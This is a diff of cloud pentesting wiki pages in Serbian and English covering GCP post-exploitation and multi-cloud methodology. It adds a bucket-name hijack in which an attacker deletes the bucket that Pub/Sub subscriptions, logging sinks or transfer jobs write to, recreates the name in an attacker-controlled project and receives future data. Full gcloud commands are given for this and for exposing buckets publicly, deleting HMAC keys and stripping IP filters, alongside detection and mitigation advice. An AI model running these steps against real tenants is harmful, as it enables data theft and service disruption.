+### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete` + +Pub/Sub subscriptions mogu da upisuju isporučene poruke u Cloud Storage bucket-ove. Ako subscription i dalje pokazuje na `gs://` i napadač može da obriše taj bucket, napadač može ponovo da kreira isto globalno-unikatno ime bucket-a u drugom projektu i primi buduće poruke bez menjanja subscription-a. + +Ovo može biti vredno kada napadač ne može da koristi `pubsub.subscriptions.update`, ali može da obriše odredišni bucket uz permisije kao što su `storage.buckets.delete`, `storage.objects.delete`, i `storage.objects.list`. +```bash +# Find Cloud Storage subscriptions and their destinations +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Empty and delete the destination bucket +gcloud storage rm -r gs:// + +# Recreate the same bucket name under attacker control +gcloud storage buckets create gs:// \ +--project \ +--location + +# Grant the Pub/Sub service agent write access if delivery requires it +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.objectCreator' \ +--project + +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.legacyBucketReader' \ +--project +``` +**Potential Impact:** exfiltration future Pub/Sub messages archived to Cloud Storage, including application events, failed pipeline payloads, logs, or data lake ingestion records. + +**Detection & Mitigation:** alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets. + ### `pubsub.subscriptions.setIamPolicy` -Dodeli sebi dozvole potrebne za izvođenje bilo koje od prethodno pomenutih napada. +Dajte sebi dozvole potrebne da izvršite bilo koji od prethodno komentarisnih attacks. ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`) -Napadni šemu na topic tako da poruke ne zadovolje šemu i zato topic bude onemogućen.\ -Ako nema šema, možda će biti potrebno da kreiraš jednu. +Napravite attack na schema vezanu za topic tako da messages ne ispunjavaju uslove, i zato je topic disrupted.\ +Ako nema nikakvih schemas, možda ćete morati da kreirate jednu.
-Kreiraj fajl sa šemom i prikači ga na topic +Create schema file and attach to topic ```json:schema.json { "namespace": "com.example", @@ -174,11 +207,11 @@ gcloud pubsub topics update projects//topics/ \ ### `pubsub.schemas.delete` -Može izgledati da brisanjem šeme možete slati poruke koje ne odgovaraju šemi. Međutim, pošto će šema biti obrisana, nijedna poruka zapravo neće ući u topic. Dakle, ovo je **BESMISLENO**: +Ovo može izgledati kao brisanje schema zbog čega ćete moći da šaljete poruke koje ne ispunjavaju schema. Međutim, pošto će schema biti obrisana, nijedna poruka zapravo neće ući unutar topic. Zato je ovo **USELESS**:
-Obriši šemu (nije korisno) +Delete schema (not useful) ```bash gcloud pubsub schemas delete ``` @@ -186,11 +219,11 @@ gcloud pubsub schemas delete ### `pubsub.schemas.setIamPolicy` -Dodelite sebi dozvole potrebne za izvođenje bilo kojeg od prethodno pomenutih napada. +Dodeli sebi dozvole potrebne za izvođenje bilo kog od prethodno komentarisanim napada. ### `pubsub.snapshots.create`, `pubsub.snapshots.seek` -Ovo će kreirati snapshot svih unACKed poruka i vratiti ih u subscription. Nije naročito korisno za napadača, ali evo: +Ovo će kreirati snapshot svih unACKed poruka i vratiti ih nazad u subscription. Nije baš korisno za napadača, ali evo ga:
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md index d06e1091c..0d0e653f0 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md @@ -4,15 +4,15 @@ ## Cloud Storage -Za više informacija o Cloud Storage pogledajte ovu stranicu: +Za više informacija o Cloud Storage proveri ovu stranicu: {{#ref}} ../gcp-services/gcp-storage-enum.md {{#endref}} -### Omogućavanje javnog pristupa +### Give Public Access -Moguće je dati eksternim korisnicima (prijavljenim na GCP ili ne) pristup sadržaju bucket-a. Međutim, podrazumevano će opcija za javno izlaganje bucket-a biti onemogućena: +Moguće je dati eksternim korisnicima (prijavljenim u GCP ili ne) pristup sadržaju bucket-a. Međutim, podrazumevano će bucket imati onemogućenu opciju da se bucket javno izloži: ```bash # Disable public prevention gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention @@ -25,25 +25,57 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER ``` -Ako pokušate da dodelite **ACLs** bucketu sa onemogućenim ACLs, dobićete ovu grešku: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` +Ako pokušate da date **ACLs za bucket sa disabled ACLs** dobićete ovu grešku: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` -Da biste pristupili otvorenim bucket-ovima preko pregledača, posetite URL `https://.storage.googleapis.com/` ili `https://.storage.googleapis.com/` +Da biste pristupili open buckets preko browsera, otvorite URL `https://.storage.googleapis.com/` ili `https://.storage.googleapis.com/` ### `storage.objects.delete` (`storage.objects.get`) -Da biste obrisali objekat: +Da biste obrisali object: ```bash gcloud storage rm gs:/// --project= ``` ### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list` -Da biste obrisali bucket: +Za brisanje bucket-a: ```bash gcloud storage rm -r gs:// ``` -### Onemogućavanje HMAC Keys +### Global bucket name takeover of upstream writers -Dozvola `storage.hmacKeys.update` omogućava onemogućavanje HMAC Keys, a dozvola `storage.hmacKeys.delete` omogućava identitetu da obriše HMAC Keys povezane sa service accounts u Cloud Storage. +Cloud Storage bucket names are globalno jedinstveni. Pre nego što obrišete bucket, proverite da li neka automatizovana usluga i dalje upisuje u taj bucket po imenu. Ako se bucket obriše i isto ime se ponovo kreira u projektu pod kontrolom napadača, upstream writers kao što su Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions ili Storage Transfer Service jobs mogu nastaviti da upisuju buduće podatke u zamenski bucket. +```bash +# Cloud Logging sinks using GCS +gcloud logging sinks list --project \ +--format='table(name,destination,writerIdentity)' + +# Pub/Sub subscriptions writing messages into GCS +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Storage Transfer Service jobs +gcloud transfer jobs list --project + +# Delete and reclaim the destination bucket name +gcloud storage rm -r gs:// +gcloud storage buckets create gs:// \ +--project \ +--location +``` +Dodelite relevantnom writer identitetu pristup replacement bucket-u ako ga upstream servis zahteva: +```bash +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Potential Impact:** dugoročna exfiltration logova, poruka, transfer outputa, backupova ili artifacta data pipeline-a bez menjanja originalnog router resursa. + +**Detection & Mitigation:** tretirajte brisanje bucket-a kao visok rizik kada bucket referenciraju sink-ovi/subscription-i/jobs, alertujte na dangling destinacije, ograničite `storage.buckets.delete`, i koristite retention policies ili legal hold-ove za kritične export bucket-ove kada je to odgovarajuće. + +### Deactivate HMAC Keys + +Dozvola `storage.hmacKeys.update` omogućava onemogućavanje HMAC keys, a dozvola `storage.hmacKeys.delete` omogućava identity-ju da obriše HMAC keys povezane sa service account-ima u Cloud Storage. ```bash # Deactivate gcloud storage hmac update --deactivate @@ -52,19 +84,19 @@ gcloud storage hmac update --deactivate gcloud storage hmac delete ``` ### `storage.buckets.setIpFilter` & `storage.buckets.update` -Dozvola `storage.buckets.setIpFilter`, zajedno sa dozvolom `storage.buckets.update`, omogućava identitetu da konfiguriše filtere IP adresa na Cloud Storage bucketu, navodeći koji IP opsezi ili adrese imaju dozvolu za pristup resursima bucketa. +Dozvola `storage.buckets.setIpFilter`, zajedno sa dozvolom `storage.buckets.update`, omogućava identitetu da konfiguriše IP address filtere na Cloud Storage bucket-u, navodeći koji IP opsezi ili adrese imaju dozvolu da pristupe resursima bucket-a. -Za potpuno brisanje IP filtera može se koristiti sledeća komanda: +Da biste potpuno uklonili IP filter, može se koristiti sledeća komanda: ```bash gcloud storage buckets update gs:// --project= ``` -Da biste promenili filtrirane IP adrese, možete koristiti sledeću komandu: +Da bi se promenile filtrirane IP adrese, može se koristiti sledeća komanda: ```bash gcloud storage buckets update gs:// \ --ip-filter-file=ip-filter.json \ --project= ``` -JSON datoteka predstavlja sam filter, nešto poput: +JSON fajl predstavlja sam filter, nešto kao: ```bash { "mode": "Enabled", @@ -76,7 +108,7 @@ JSON datoteka predstavlja sam filter, nešto poput: } ``` ### `storage.buckets.restore` -Vratite bucket koristeći: +Vrati bucket koristeći: ```bash gcloud storage restore gs://# \ --project= diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index cc2b551e9..7d90a2624 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,4 +1,4 @@ -# Pentesting Metodologija oblaka +# Pentesting Cloud Methodology {{#include ../banners/hacktricks-training.md}} @@ -6,39 +6,65 @@ ## Osnovna metodologija -Svaki cloud ima svoje specifičnosti, ali generalno postoji nekoliko **uobičajenih stvari koje pentester treba da proveri** kada testira cloud okruženje: +Svaki cloud ima svoje posebnosti, ali generalno postoji nekoliko **uobičajenih stvari koje pentester treba da proveri** prilikom testiranja cloud okruženja: -- **Benchmark checks** -- Ovo će vam pomoći da **shvatite veličinu** okruženja i **korišćene servise** -- Takođe će vam omogućiti da pronađete neke **quick misconfigurations** pošto većinu ovih testova možete izvesti pomoću **automated tools** +- **Benchmark provere** +- Ovo će vam pomoći da **razumete veličinu** okruženja i **korišćene servise** +- Takođe će vam omogućiti da pronađete neke **brze misconfigurations** jer većinu ovih testova možete da izvodite pomoću **automatizovanih alata** - **Services Enumeration** -- Verovatno nećete pronaći mnogo više misconfigurations ovde ako ste ispravno izvršili benchmark tests, ali možda ćete pronaći neke koji nisu bili obuhvaćeni benchmark testom. -- Ovo će vam omogućiti da znate **šta se tačno koristi** u cloud env -- Ovo će puno pomoći u narednim koracima -- **Check exposed assets** -- Ovo se može raditi tokom prethodnog dela; treba da **otkrijete sve što je potencijalno izloženo** na Internet na neki način i kako se može pristupiti. -- Ovde podrazumevam **manually exposed infrastructure** kao instance sa web stranicama ili drugim portovima izloženim, kao i druge **cloud managed services** koje se mogu konfigurisati da budu izložene (kao DBs ili buckets) -- Zatim treba da proverite **da li taj resurs može biti izložen ili ne** (poverljive informacije? vulnerabilities? misconfigurations in the exposed service?) -- **Check permissions** -- Ovde treba da **otkrijete sve permissions svakog role/user** unutar clouda i kako se koriste -- Previše **highly privileged** (control everything) naloga? Generated keys not used?... Većina ovih provera bi trebala biti urađena u benchmark tests već -- Ako klijent koristi OpenID ili SAML ili neku drugu federaciju možda ćete morati da tražite dodatne **informacije** o **kako se dodeljuje svaka uloga** (nije isto ako je admin uloga dodeljena 1 korisniku ili 100) -- Nije dovoljno da pronađete koji korisnici imaju **admin permissions** "*:*". Postoji mnogo drugih **permissions** koji, u zavisnosti od korišćenih servisa, mogu biti veoma **osetljivi**. -- Štaviše, postoje potencijalni privesc načini za zloupotrebu permissions. Sve ovo treba uzeti u obzir i **prijaviti što više privesc paths** koliko je moguće. +- Verovatno ovde nećete pronaći mnogo više misconfigurations ako su benchmark testovi pravilno obavljeni, ali možete pronaći neke koje nisu bile tražene tokom benchmark testa. +- Ovo će vam omogućiti da saznate **šta se tačno koristi** u cloud okruženju +- Ovo će mnogo pomoći u sledećim koracima +- **Provera izloženih asseta** +- Ovo se može uraditi tokom prethodne sekcije, treba da **otkrijete sve što je potencijalno izloženo** Internetu na neki način i kako se tome može pristupiti. +- Ovde mislim na **ručno izloženu infrastrukturu** poput instanci sa web stranicama ili drugim otvorenim portovima, kao i na druge **cloud managed servise koji mogu biti podešeni** da budu izloženi (kao što su DBs ili buckets) +- Zatim treba da proverite **da li taj resource može biti izložen ili ne** (poverljive informacije? vulnerabilities? misconfigurations u izloženom servisu?) +- **Provera permissions** +- Ovde treba da **otkrijete sve permissions svakog role/user-a** unutar clouda i kako se koriste +- Previše **accounta sa visokim privilegijama** (kontrolišu sve)? Generisani keys koji se ne koriste?... Većina ovih provera je već trebalo da bude obavljena u benchmark testovima +- Ako client koristi OpenID ili SAML ili neku drugu **federation**, možda ćete morati da ih pitate za dodatne **informacije** o tome **kako se svaka role dodeljuje** (nije isto da je admin role dodeljen jednom user-u ili stotini) +- Nije **dovoljno pronaći** koji users imaju **admin** permissions "\*:\*". Postoji mnogo **drugih permissions** koje, u zavisnosti od korišćenih servisa, mogu biti veoma **sensitive**. +- Pored toga, postoje **potencijalni privesc** putevi koji se mogu iskoristiti zloupotrebom permissions. Sve ove stvari treba uzeti u obzir i treba prijaviti **što je moguće više privesc path-ova**. - **Check Integrations** -- Veoma je verovatno da se koriste **integrations with other clouds or SaaS** unutar cloud okruženja. -- Za **integrations of the cloud you are auditing** sa drugim platformama treba da obavestite **ko ima pristup da (ab)use tu integraciju** i treba da pitate **koliko je osetljiva** akcija koja se izvodi.\ -Na primer, ko može da piše u jedan AWS bucket iz kog GCP uzima podatke (pitati koliko je ta akcija osetljiva u GCP pri obradi tih podataka). -- Za **integrations inside the cloud you are auditing** iz eksternih platforma, treba da pitate **ko ima spoljašnji pristup da (ab)use tu integraciju** i proverite kako se ti podaci koriste.\ -Na primer, ako servis koristi Docker image hostovan u GCR, treba da pitate ko ima pristup da modifikuje taj image i koje osetljive informacije i pristupe će taj image dobiti kada se pokrene unutar AWS clouda. +- Vrlo je verovatno da se koriste **integrations sa drugim clouds ili SaaS** unutar cloud okruženja. +- Za **integrations clouda koji auditujete** sa drugom platformom treba da navedete **ko ima pristup da (zlo)upotrebi tu integration** i treba da pitate **koliko je sensitive** akcija koja se izvršava.\ +Na primer, ko može da piše u AWS bucket iz kojeg GCP preuzima podatke (pitajte koliko je sensitive akcija u GCP-u koja tretira te podatke). +- Za **integrations unutar clouda koji auditujete** sa eksternih platformi, treba da pitate **ko eksterno ima pristup da (zlo)upotrebi tu integration** i proverite kako se ti podaci koriste.\ +Na primer, ako service koristi Docker image hostovan u GCR, treba da pitate ko ima pristup da to izmeni i koje sensitive informacije i access će taj image dobiti kada se izvrši unutar AWS cloud-a. -## Alati za Multi-Cloud +### Hunt autonomous data streams writing to globally-unique storage -Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi biće navedeni u ovom odeljku. +Tokom post-exploitation, pregledajte dugotrajne exports kao što su log sinks, subscriptions, replication jobs, Firehose streams i diagnostic settings koji upisuju u buckets ili storage accounts sa globally-unique name. Ako destination može da se obriše i isti name može ponovo da se kreira pod attacker control, upstream service bi mogao da nastavi da isporučuje sensitive data u zamenjeni destination čak i kada attacker ne može da ažurira sam router resource. + +Focus this check in the relevant service pages: + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +{{#endref}} + +{{#ref}} +aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +{{#endref}} + +{{#ref}} +azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +{{#endref}} + +## Multi-Cloud tools + +Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi biće navedeni u ovom delu. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Alat za **identifikovanje loših konfiguracija i privesc path u cloud-ovima i između cloud/SaaS.** +Alat za **identifikaciju loših konfiguracija i privesc path-ova u cloud-ovima i across clouds/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Podržava **AWS, GCP & Azure**. Pogledajte kako konfigurisati svakog provajdera u [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +Podržava **AWS, GCP & Azure**. Proveri kako da konfigurišeš svakog provajdera u [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -168,9 +194,9 @@ steampipe check all ```
-Proveri sve projekte +Proveri sve Projects -Da biste proverili sve projekte, potrebno je da generišete fajl `gcp.spc` koji navodi sve projekte za testiranje. Možete jednostavno pratiti uputstva iz sledećeg skripta +Da biste proverili sve projects, potrebno je da generišete `gcp.spc` fajl koji označava sve projects koje treba testirati. Možete samo da pratite uputstva iz sledeće skripte ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-Za proveru **ostalih GCP uvida** (korisno za nabrajanje servisa) koristite: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +Za proveru **other GCP insights** (korisno za enumerating services) koristite: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -Za proveru Terraform GCP koda: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Za proveru Terraform GCP code: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -Više GCP plugin-ova za Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Više GCP plugins od Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} @@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Za proveru Terraform AWS koda: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +Da proveriš Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -Više AWS pluginova za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Još AWS plugins za Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -Zahteva python2.7 i izgleda neodržavano. +Zahteva python2.7 i deluje kao da se više ne održava. ### Nessus -Nessus ima _**Audit Cloud Infrastructure**_ skeniranje koje podržava: AWS, Azure, Office 365, Rackspace, Salesforce. Potrebne su neke dodatne konfiguracije u **Azure** da bi se dobio **Client Id**. +Nessus ima scan _**Audit Cloud Infrastructure**_ koji podržava: AWS, Azure, Office 365, Rackspace, Salesforce. Neke dodatne konfiguracije u **Azure** su potrebne da bi se dobio **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist je **multi-cloud alat za prikupljanje Assets** (Hostnames, IP Addresses) od Cloud Providers. +Cloudlist je **multi-cloud tool za prikupljanje Assets** (Hostnames, IP Addresses) od Cloud Providers. {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +291,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography je Python alat koji konsoliduje infrastrukturne resurse i odnose između njih u intuitivnom grafičkom prikazu koji pokreće Neo4j database. +Cartography je Python alat koji objedinjuje infrastrukturalne assete i odnose između njih u intuitivan grafički prikaz pokretan Neo4j bazom podataka. {{#tabs }} {{#tab name="Install" }} @@ -302,7 +328,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase prikuplja resurse i veze iz servisa i sistema — uključujući cloud infrastrukturu, SaaS aplikacije, bezbednosne kontrole i drugo — i prikazuje ih u intuitivnom grafu zasnovanom na Neo4j bazi podataka. +Starbase prikuplja assets i relationships iz servisa i sistema, uključujući cloud infrastructure, SaaS applications, security controls i još mnogo toga, u intuitivan graph view zasnovan na Neo4j database. {{#tabs }} {{#tab name="Install" }} @@ -372,15 +398,15 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -Alat za pronalaženje infrastrukture kompanije (cilja), fajlova i aplikacija na vodećim cloud provajderima (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Alat za pronalaženje infrastrukture, fajlova i aplikacija kompanije (target) na najvećim cloud providerima (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox je alat za pronalaženje iskoristivih putanja napada u cloud infrastrukturi (trenutno podržani samo AWS & Azure, GCP uskoro). -- To je alat za enumeraciju namenjen da dopuni manualni pentesting. -- Ne kreira niti menja bilo kakve podatke unutar cloud okruženja. +- CloudFox je alat za pronalaženje exploitable attack paths u cloud infrastrukturi (trenutno su podržani samo AWS & Azure, a GCP uskoro). +- To je enumeration alat namenjen da dopuni manual pentesting. +- Ne kreira niti menja bilo koje podatke unutar cloud okruženja. -### More lists of cloud security tools +### Više lista cloud security alata - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -410,7 +436,7 @@ aws-security/ azure-security/ {{#endref}} -## Zajedničke funkcije bezbednosti u cloudu +## Uobičajene Cloud Security funkcije ### Confidential Computing @@ -418,4 +444,11 @@ azure-security/ confidential-computing/luks2-header-malleability-null-cipher-abuse.md {{#endref}} +## Reference + +- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/) +- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2) +- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html) +- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings) + {{#include ../banners/hacktricks-training.md}}